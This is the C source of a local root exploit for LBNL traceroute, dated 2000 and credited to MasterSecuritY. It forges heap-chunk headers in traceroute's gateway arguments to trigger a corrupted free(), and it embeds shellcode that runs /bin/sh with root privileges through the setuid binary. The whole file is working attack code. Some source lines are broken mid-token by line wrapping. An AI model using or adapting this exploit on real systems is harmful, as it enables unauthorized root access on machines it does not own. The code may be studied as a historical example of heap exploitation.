/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * openwall.c - Local root exploit in LBNL traceroute
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/traceroot/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char *          filename = "/usr/sbin/traceroute";
unsigned int    stack = 0xc0000000 - 4;
unsigned int    p = 0x0804ce38;
unsigned int    victim = 0x0804c88c;

char * jmp = "\xeb\x0aXXYYYYZZZZ";

char * shellcode =
        /* <shellcode>:         xor     %edx,%edx       */
        "\x31\xd2"
        /* <shellcode+2>:       mov     %edx,%eax       */
        "\x89\xd0"
        /* <shellcode+4>:       mov     $0xb,%al        */
        "\xb0\x0b"
        /* <shellcode+6>:       mov     $XXXX,%ebx      */
        "\xbbXXXX"
        /* <shellcode+11>:      mov     $XXXX,%ecx      */
        "\xb9XXXX"
        /* <shellcode+16>:      mov     %ebx,(%ecx)     */
        "\x89\x19"
        /* <shellcode+18>:      mov     %edx,0x4(%ecx)  */
        "\x89\x51\x04"
        /* <shellcode+21>:      int     $0x80           */
        "\xcd\x80";

char * program = "/bin/sh";

int zero( unsigned int ui )
{
        if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || 
!(ui & 0x000000ff) ) {
                return( -1 );
        }
        return( 0 );
}

int main()
{
        char            gateway[ 1337 ];
        char            host[ 1337 ];
        char *          argv[] = { filename, "-g", "123", "-g", gateway, host, 
NULL };
        unsigned int    next;
        int             i;
        unsigned int    hellcode;
        unsigned int    size;

        strcpy( host, "AAAABBBBCCCCDDDDEEEE" );
        next = stack - (strlen(filename) + 1) - (strlen(host) + 1) + strlen("AA
AA");
        for ( i = 0; i < next - (next & ~3); i++ ) {
                strcat( host, "X" );
        }
        next = next & ~3;

        ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
        ((unsigned int *)host)[2] = 0xffffffff;
        if ( zero( victim - 12 ) ) {
                fprintf( stderr, "Null byte(s) in `victim - 12' (0x%08x)!\n", v
ictim - 12 );
                return( -1 );
        }
        ((unsigned int *)host)[3] = victim - 12;
        hellcode = p + (strlen("123") + 1) + strlen("0x42.0x42.0x42.0x42") + st
rlen(" ");
        if ( zero( hellcode ) ) {
                fprintf( stderr, "Null byte(s) in `host' (0x%08x)!\n", hellcode
 );
                return( -1 );
        }
        ((unsigned int *)host)[4] = hellcode;

        size = next - (p - 4);
        size = size | PREV_INUSE;
        sprintf(
                gateway,
                "0x%02x.0x%02x.0x%02x.0x%02x",
                ((unsigned char *)(&size))[0],
                ((unsigned char *)(&size))[1],
                ((unsigned char *)(&size))[2],
                ((unsigned char *)(&size))[3]
        );

        strcat( gateway, " " );
        strcat( gateway, jmp );
        strcat( gateway, shellcode );
        strcat( gateway, program );

        hellcode += strlen(jmp) + strlen(shellcode);
        if ( zero( hellcode ) ) {
                fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellc
ode );
                return( -1 );
        }
        *((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" "
) + strlen(jmp) + 7)) = hellcode;

        hellcode += strlen(program) + 1;
        if ( zero( hellcode ) ) {
                fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellc
ode );
                return( -1 );
        }
        *((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" "
) + strlen(jmp) + 12)) = hellcode;

        execve( argv[0], argv, NULL );
        return( -1 );
}